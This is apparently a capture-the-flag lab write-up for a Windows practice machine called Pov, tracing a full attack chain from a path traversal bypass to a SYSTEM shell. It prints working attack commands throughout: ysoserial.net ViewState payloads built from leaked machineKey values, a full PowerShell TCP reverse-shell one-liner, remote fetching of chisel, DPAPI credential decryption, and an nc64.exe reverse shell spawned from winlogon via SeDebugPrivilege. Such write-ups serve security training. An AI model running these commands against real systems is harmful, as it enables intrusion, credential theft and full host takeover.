🎬 Pov

Machine: Pov
Difficulty: Medium
Theme: IIS file read β†’ ASP.NET machineKey leak β†’ ViewState RCE β†’ DPAPI credential recovery β†’ chisel SOCKS pivot β†’ SeDebugPrivilege abuse


🎯 Summary

Pov exposes only an IIS web server on port 80. Initial web enumeration reveals a development virtual host, dev.pov.htb, which contains a vulnerable file download function. The download parameter allows a remote file read, which exposes the ASP.NET web.config file and its machineKey secrets.

Using the leaked ASP.NET keys, a malicious ViewState payload is generated with ysoserial.net, yielding remote code execution as pov\sfitz. Post-exploitation enumeration of the user profile finds a PowerShell credential export file, connection.xml, which decrypts (via DPAPI in the same user context) to valid credentials for pov\alaading.

Because WinRM is not directly reachable from outside, a reverse SOCKS tunnel is built with chisel so that evil-winrm can authenticate as alaading through proxychains. The alaading user has SeDebugPrivilege enabled, which is abused against a SYSTEM-owned winlogon.exe process using psgetsys.ps1, resulting in code execution as NT AUTHORITY\SYSTEM.


1. Enumeration

Initial scanning showed only IIS on port 80.

Baseline scan

nmap -sC -sV -vv -oA nmap/pov [TARGET_IP]

Key findings:

80/tcp open  http  Microsoft IIS httpd 10.0
http-title: pov.htb
http-server-header: Microsoft-IIS/10.0

Full TCP sweep

nmap -p- -vv -oA nmap/pov_portscan [TARGET_IP]

Only port 80 was externally reachable, which made the web layer the obvious β€” and only β€” initial access surface.

Hosts file

The web title revealed pov.htb:

echo "[TARGET_IP] pov.htb" | sudo tee -a /etc/hosts

Further web enumeration surfaced a development vhost, dev.pov.htb:

echo "[TARGET_IP] pov.htb dev.pov.htb" | sudo tee -a /etc/hosts

2. Web Enumeration

Browsing to http://dev.pov.htb revealed a developer portfolio site.

Important clues:

  • ASP.NET references
  • Download CV button
  • Hidden ASP.NET form fields:
    • __VIEWSTATE
    • __VIEWSTATEGENERATOR
    • __EVENTVALIDATION

The CV download was intercepted in Burp Repeater. The vulnerable request contained a parameter similar to:

file=cv.pdf

3. Remote File Read

Initial test

A basic traversal payload was filtered:

file=../web.config

The server appeared to strip ../.

Filter bypass

A nested-traversal payload bypassed the filter:

file=....//web.config

The server removed the inner ../, leaving a valid traversal. This exposed the ASP.NET web.config file.

Sensitive data from web.config

The file contained an ASP.NET machineKey:

<machineKey 
  decryption="AES"
  decryptionKey="[DECRYPTION_KEY]"
  validation="SHA1"
  validationKey="[VALIDATION_KEY]" />

These keys are critical because ASP.NET ViewState integrity and confidentiality depend on them.

Impact:

Leaked machineKey β†’ valid signed/encrypted ViewState payloads β†’ ViewState deserialization/RCE

4. ViewState Exploitation with ysoserial.net

Tooling

Used:

ysoserial.net
Wine
Kali Linux
Burp Repeater

Install supporting packages if needed:

sudo apt install wine winetricks mono-complete -y

Run the Windows .exe through Wine:

WINEPREFIX=~/.wine wine ysoserial.exe

Wine printed noisy Vulkan/HID errors. Those were not necessarily fatal as long as ysoserial still produced output.

Save keys to files

To avoid typo issues, the keys were saved exactly as copied from Burp:

echo -n '[VALIDATION_KEY]' > ~/Desktop/validationKey
echo -n '[DECRYPTION_KEY]' > ~/Desktop/decryptionKey

Verify:

cat ~/Desktop/validationKey
cat ~/Desktop/decryptionKey

Diagnostic generator check

The application request contained:

__VIEWSTATEGENERATOR=8E0F0FA3

The important ysoserial sanity check was confirming that ysoserial calculated the same generator value.

WINEPREFIX=~/.wine wine ysoserial.exe \
  -p ViewState \
  -g TypeConfuseDelegate \
  -c "ping -n 5 [LHOST]" \
  --path="/portfolio" \
  --apppath="/" \
  --validationalg="SHA1" \
  --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
  --decryptionalg="AES" \
  --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
  --islegacy \
  --isdebug

Expected output:

simulateTemplateSourceDirectory returns: /portfolio
simulateGetTypeName returns: portfolio_default_aspx
Calculated __VIEWSTATEGENERATOR: 8E0F0FA3

This confirmed that path, apppath, and key material were aligned.

Important lesson

Do not force --generator during diagnostics.
Let ysoserial calculate it first.

PowerShell reverse shell encoding

Raw PowerShell quoting was fragile, so the payload was encoded for:

powershell.exe -EncodedCommand

PowerShell -EncodedCommand requires UTF-16LE Base64.

PowerShell payload:

$client = New-Object System.Net.Sockets.TCPClient("[LHOST]",[LPORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Encode it:

ENC=$(printf '%s' '$client = New-Object System.Net.Sockets.TCPClient("[LHOST]",[LPORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w 0)

Verify decoding:

echo "$ENC" | base64 -d | iconv -f UTF-16LE

Important gotcha β€” the IP must be quoted inside the PowerShell payload:

# Bad
TCPClient([LHOST],[LPORT])
 
# Correct
TCPClient("[LHOST]",[LPORT])

Final working ViewState payload

The working final payload was generated without --islegacy.

WINEPREFIX=~/.wine wine ysoserial.exe \
  -p ViewState \
  -g TypeConfuseDelegate \
  -c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $ENC" \
  --path="/portfolio" \
  --apppath="/" \
  --validationalg="SHA1" \
  --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
  --decryptionalg="AES" \
  --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
  > ~/Desktop/output.txt

Start a listener:

nc -lvnp [LPORT]

Paste the contents of output.txt directly into the Burp __VIEWSTATE parameter.

Important Burp notes:

Do not Ctrl+U / URL-encode again β€” the ysoserial output is already URL-encoded.
Keep __VIEWSTATEGENERATOR unchanged.
Keep __EVENTVALIDATION unchanged.
Set file=cv.pdf.

Expected result:

connect to [LHOST] from [TARGET_IP]

Then verify:

whoami

Result:

pov\sfitz

5. Post-Exploitation as sfitz

The initial shell was fragile, so basic enumeration focused on the current user’s profile.

whoami
cd C:\Users\sfitz
dir
dir Documents

Found:

C:\Users\sfitz\Documents\connection.xml

Read it:

type C:\Users\sfitz\Documents\connection.xml

The file contained a serialized PowerShell PSCredential object:

<T>System.Management.Automation.PSCredential</T>
<S N="UserName">alaading</S>
<SS N="Password">...</SS>

6. Decrypting connection.xml

Because the credential was exported with PowerShell and protected with DPAPI, it could be decrypted from the same user/machine context in which it was created β€” which is exactly where the current shell was running.

$CredObj = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
$CredObj.UserName
$CredObj.GetNetworkCredential().Password

Recovered:

User: alaading
Password: [RECOVERED_PASSWORD]

Create a credential object for reuse:

$SecPass = ConvertTo-SecureString '[RECOVERED_PASSWORD]' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('pov\alaading', $SecPass)

Verify the object:

Write-Output ("USERNAME=" + $Cred.UserName)
Write-Output ("DOMAIN=" + $Cred.GetNetworkCredential().Domain)
Write-Output ("USER=" + $Cred.GetNetworkCredential().UserName)

Expected:

USERNAME=pov\alaading
DOMAIN=pov
USER=alaading

Important lesson

Creating $Cred does not switch the current shell user.
Plain whoami still shows pov\sfitz.
The credential must be passed to a cmdlet that supports -Credential.

7. WinRM Pivot Problem

alaading was a member of:

BUILTIN\Remote Management Users

That suggested WinRM access. However, the external Nmap showed only port 80 open, so direct evil-winrm from Kali hung β€” the WinRM ports were not externally reachable:

5985/tcp - WinRM HTTP
5986/tcp - WinRM HTTPS

A reverse tunnel was therefore required.


8. Chisel Reverse SOCKS Tunnel

On Kali

Install chisel if missing:

which chisel || sudo apt update && sudo apt install -y chisel

Start the reverse server:

chisel server --reverse -p 8000

Expected:

Reverse tunnelling enabled
Listening

Upload chisel.exe to the victim

Host chisel.exe on Kali:

sudo python3 -m http.server 80

From the victim:

cd C:\Users\sfitz\Music
iwr http://[LHOST]/chisel.exe -OutFile chisel.exe
dir chisel.exe

Fallback:

certutil.exe -urlcache -f http://[LHOST]/chisel.exe chisel.exe

Start the reverse SOCKS proxy from the victim

.\chisel.exe client [LHOST]:8000 R:socks

Expected on Kali:

session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Proxychains

Edit /etc/proxychains4.conf:

socks5 127.0.0.1 1080

Use evil-winrm through the tunnel:

proxychains -q evil-winrm -i pov.htb -u alaading -p '[RECOVERED_PASSWORD]'

Result:

Evil-WinRM shell
C:\Users\alaading\Documents>

Verify:

whoami
whoami /priv
whoami /groups

9. User Flag

Once stabilized as alaading:

cd C:\Users\alaading\Desktop
dir
type user.txt

10. Privilege Escalation Enumeration

whoami /priv showed:

SeDebugPrivilege              Debug programs                    Enabled
SeChangeNotifyPrivilege       Bypass traverse checking          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set    Enabled

The important lead was:

SeDebugPrivilege = enabled

That privilege allows a user to debug/open privileged processes, and is regularly abusable to execute code in a SYSTEM context.


11. SeDebugPrivilege Abuse

Target process

List processes:

ps

Look for a SYSTEM-owned process. winlogon.exe is a clean target:

ps winlogon

Example:

Id   ProcessName
564  winlogon

Upload tools

Used:

psgetsys.ps1
nc64.exe

From Evil-WinRM:

upload psgetsys.ps1
upload nc64.exe

In this run, nc64.exe was uploaded to:

C:\Users\alaading\Desktop\nc64.exe

Important gotcha:

Use the exact uploaded path.
The first attempt failed because nc64.exe was referenced from Documents
while it was actually uploaded to Desktop.

Import psgetsys

ipmo .\psgetsys.ps1

If blocked, in Evil-WinRM try:

Bypass-4MSI
ipmo .\psgetsys.ps1

Start the SYSTEM callback listener

On Kali:

rlwrap nc -lvnp 9001

Spawn a SYSTEM shell via the winlogon PID

ImpersonateFromParentPid -ppid [WINLOGON_PID] -command "C:\Windows\System32\cmd.exe" -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe [LHOST] 9001 -e powershell.exe"

Example:

ImpersonateFromParentPid -ppid 564 -command "C:\Windows\System32\cmd.exe" -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe 10.10.15.30 9001 -e powershell.exe"

Expected callback on Kali:

connect to [LHOST] from [TARGET_IP]

Verify:

whoami

Result:

nt authority\system

12. Root Flag

As SYSTEM:

cd C:\Users\Administrator\Desktop
dir
type root.txt

πŸ”— Condensed Attack Chain

IIS web app
  ↓
dev.pov.htb discovered
  ↓
Vulnerable file download (filter bypass: ....//web.config)
  ↓
web.config read
  ↓
ASP.NET machineKey leaked
  ↓
ysoserial.net ViewState RCE
  ↓
Shell as pov\sfitz
  ↓
connection.xml found
  ↓
DPAPI-protected PSCredential decrypted
  ↓
Credentials for pov\alaading recovered
  ↓
chisel reverse SOCKS tunnel
  ↓
Evil-WinRM as pov\alaading
  ↓
SeDebugPrivilege enabled
  ↓
psgetsys.ps1 against winlogon
  ↓
Reverse shell as NT AUTHORITY\SYSTEM

🧠 Key Takeaways

  • A leaked ASP.NET machineKey is functionally equivalent to RCE on the application β€” ViewState integrity and confidentiality both collapse the moment those values are public.
  • Path traversal filters that only strip a single ../ token can almost always be bypassed with nested syntax like ....//.
  • DPAPI-protected exports (Export-Clixml, PSCredential) are only secret while the attacker is not the user that wrote them. Once you have code execution as that user, those files become plaintext credentials.
  • Membership in Remote Management Users only matters if WinRM is reachable. When the only externally exposed port is HTTP, plan on a tunnel (chisel + proxychains) from the start.
  • SeDebugPrivilege is one of the most consistently abusable Windows privileges. Pairing it with a stable SYSTEM-owned process like winlogon.exe (rather than LSASS) keeps the escalation clean and low-risk.

⚑ Commands Cheat Sheet

# Enumeration
nmap -sC -sV -vv -oA nmap/pov [TARGET_IP]
nmap -p- -vv -oA nmap/pov_portscan [TARGET_IP]
echo "[TARGET_IP] pov.htb dev.pov.htb" | sudo tee -a /etc/hosts
 
# File read filter bypass
# file=....//web.config
 
# ysoserial.net diagnostic
WINEPREFIX=~/.wine wine ysoserial.exe \
  -p ViewState -g TypeConfuseDelegate \
  -c "ping -n 5 [LHOST]" \
  --path="/portfolio" --apppath="/" \
  --validationalg="SHA1" --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
  --decryptionalg="AES" --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
  --islegacy --isdebug
 
# Encode PowerShell payload (UTF-16LE base64)
ENC=$(printf '%s' '<POWERSHELL_PAYLOAD>' | iconv -t UTF-16LE | base64 -w 0)
 
# Final ViewState payload
WINEPREFIX=~/.wine wine ysoserial.exe \
  -p ViewState -g TypeConfuseDelegate \
  -c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $ENC" \
  --path="/portfolio" --apppath="/" \
  --validationalg="SHA1" --validationkey="$(tr -d '\r\n' < ~/Desktop/validationKey)" \
  --decryptionalg="AES" --decryptionkey="$(tr -d '\r\n' < ~/Desktop/decryptionKey)" \
  > ~/Desktop/output.txt
 
# Reverse listener
nc -lvnp [LPORT]
 
# DPAPI credential recovery (on target as sfitz)
# $CredObj = Import-Clixml -Path 'C:\Users\sfitz\Documents\connection.xml'
# $CredObj.GetNetworkCredential().Password
 
# Chisel SOCKS tunnel
chisel server --reverse -p 8000                       # Kali
.\chisel.exe client [LHOST]:8000 R:socks              # Victim
 
# Evil-WinRM through proxychains
proxychains -q evil-winrm -i pov.htb -u alaading -p '[RECOVERED_PASSWORD]'
 
# SeDebugPrivilege abuse
# ipmo .\psgetsys.ps1
# ImpersonateFromParentPid -ppid [WINLOGON_PID] \
#   -command "C:\Windows\System32\cmd.exe" \
#   -cmdargs "/c C:\Users\alaading\Desktop\nc64.exe [LHOST] 9001 -e powershell.exe"
 
# SYSTEM listener
rlwrap nc -lvnp 9001

πŸ“‘ Report-Ready Finding Summary

Finding 1 β€” Arbitrary File Read in Download Function

The development web application exposed a file download function that accepted a user-controlled filename. Path traversal filtering was bypassed using nested traversal syntax, allowing access to sensitive application files such as web.config.

Finding 2 β€” ASP.NET machineKey Disclosure

The exposed web.config file contained ASP.NET machineKey values. These keys allowed the generation of valid signed/encrypted ViewState payloads.

Finding 3 β€” ASP.NET ViewState Deserialization RCE

Using the leaked machineKey, a malicious ViewState payload was generated with ysoserial.net. The payload was accepted by the server and resulted in remote command execution as the web application user.

Finding 4 β€” Insecure Storage of PowerShell Credential Export

A PowerShell PSCredential export was found in the compromised user’s Documents folder. Because the attacker had code execution as the same user on the same host, the credential object could be decrypted via DPAPI, revealing credentials for another user.

Finding 5 β€” WinRM Lateral Movement via Remote Management Users

The recovered user was a member of Remote Management Users, enabling WinRM access. Since WinRM was not externally exposed, a reverse SOCKS tunnel was used to access it.

Finding 6 β€” Privilege Escalation via SeDebugPrivilege

The lateral movement user had SeDebugPrivilege enabled. This was abused to spawn a process from a SYSTEM-owned parent process, resulting in command execution as NT AUTHORITY\SYSTEM.


Field-manual techniques demonstrated on this box:


🧭 Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks β€œwrong” but the underlying step is actually salvageable.

Symptom: Only port 80 is externally reachable
Meaning: Any lateral movement that needs WinRM, SMB exec, or RDP will require a tunnel
Next: Plan for chisel reverse SOCKS + proxychains from the start, not as an afterthought

Symptom: Path traversal payload like ../web.config is rejected
Meaning: The filter strips a single ../ token
Next: Nest the traversal: ....//web.config β€” the inner ../ is removed, leaving a valid path

Symptom: ysoserial’s calculated __VIEWSTATEGENERATOR doesn’t match the request’s value
Meaning: --path or --apppath is misaligned, not the keys
Next: Don’t force --generator; correct --path/--apppath until ysoserial calculates the same value

Symptom: Burp __VIEWSTATE payload starts with %2FwEy and fails
Meaning: Legacy-style ViewState generation was used
Next: Regenerate the payload without --islegacy

Symptom: ViewState payload pasted in Burp but no callback
Meaning: Either you double-encoded (Ctrl+U) or the payload didn’t deserialize
Next: Paste ysoserial output as-is β€” it’s already URL-encoded; do not Ctrl+U after paste

Symptom: Burp Send button is greyed out
Meaning: A previous request is still in-flight
Next: Click Cancel and resend

Symptom: Inline PowerShell payload fails or quotes get mangled
Meaning: Raw quoting through ysoserial β†’ cmd is fragile
Next: Encode the payload as UTF-16LE base64 and run via powershell.exe -EncodedCommand $ENC

Symptom: Encoded PowerShell runs but doesn’t connect back
Meaning: The IP in TCPClient(...) isn’t quoted as a string
Next: Use TCPClient("[LHOST]",[LPORT]) β€” bare IPs are parsed as integer ops

Symptom: Got a callback but no shell prompt appears
Meaning: Minimal reverse shells often don’t echo a prompt
Next: Just type whoami β€” the shell is live

Symptom: Found connection.xml (Export-Clixml output) but Import-Clixml fails or returns garbage
Meaning: DPAPI-encrypted exports only decrypt in the same user + machine context that wrote them
Next: Read it from the current shell on-host, not after exfiltrating it elsewhere

Symptom: Built $Cred, but whoami still shows the old user
Meaning: $Cred is a credential object for cmdlets, not a session impersonation
Next: Pass it via -Credential to a cmdlet (Invoke-Command, evil-winrm, etc.) β€” it never changes the current shell’s identity

Symptom: Direct evil-winrm to the target hangs
Meaning: WinRM ports (5985/5986) aren’t externally reachable
Next: Spin up chisel reverse SOCKS, then proxychains evil-winrm -i pov.htb -u <user> -p <pwd>

Symptom: Have SeDebugPrivilege and want a SYSTEM shell
Meaning: Pick a stable SYSTEM-owned parent process; LSASS is overkill and noisier
Next: Use psgetsys.ps1 against winlogon.exe’s PID β€” stable, clean, and fully sufficient

Symptom: nc64.exe callback fails after ImpersonateFromParentPid
Meaning: Path mismatch β€” the script references a directory that doesn’t hold the binary
Next: Use the exact uploaded path; check with dir before triggering the impersonation


πŸ“ Personal Notes

The defining moment on Pov is realizing that the file read primitive is not the goal β€” it is just the carrier for the machineKey. Once those keys are out, the ViewState RCE is mechanical; the rest of the box is about not getting tangled in PowerShell encoding and Wine output.

The second pivot is recognizing that DPAPI is a context, not a vault. Sitting in sfitz’s shell, connection.xml is just a plaintext credential with extra steps β€” but only because the shell is running as the user who wrote it. Move it off the host and it becomes opaque again.

The third lesson is environmental: a box that only exposes port 80 is telling you to pivot. Trying to brute force evil-winrm against a port that isn’t there wastes more time than spinning up chisel + proxychains in the first place. Once that habit is internalized, the SeDebugPrivilege finish line is one winlogon PID away.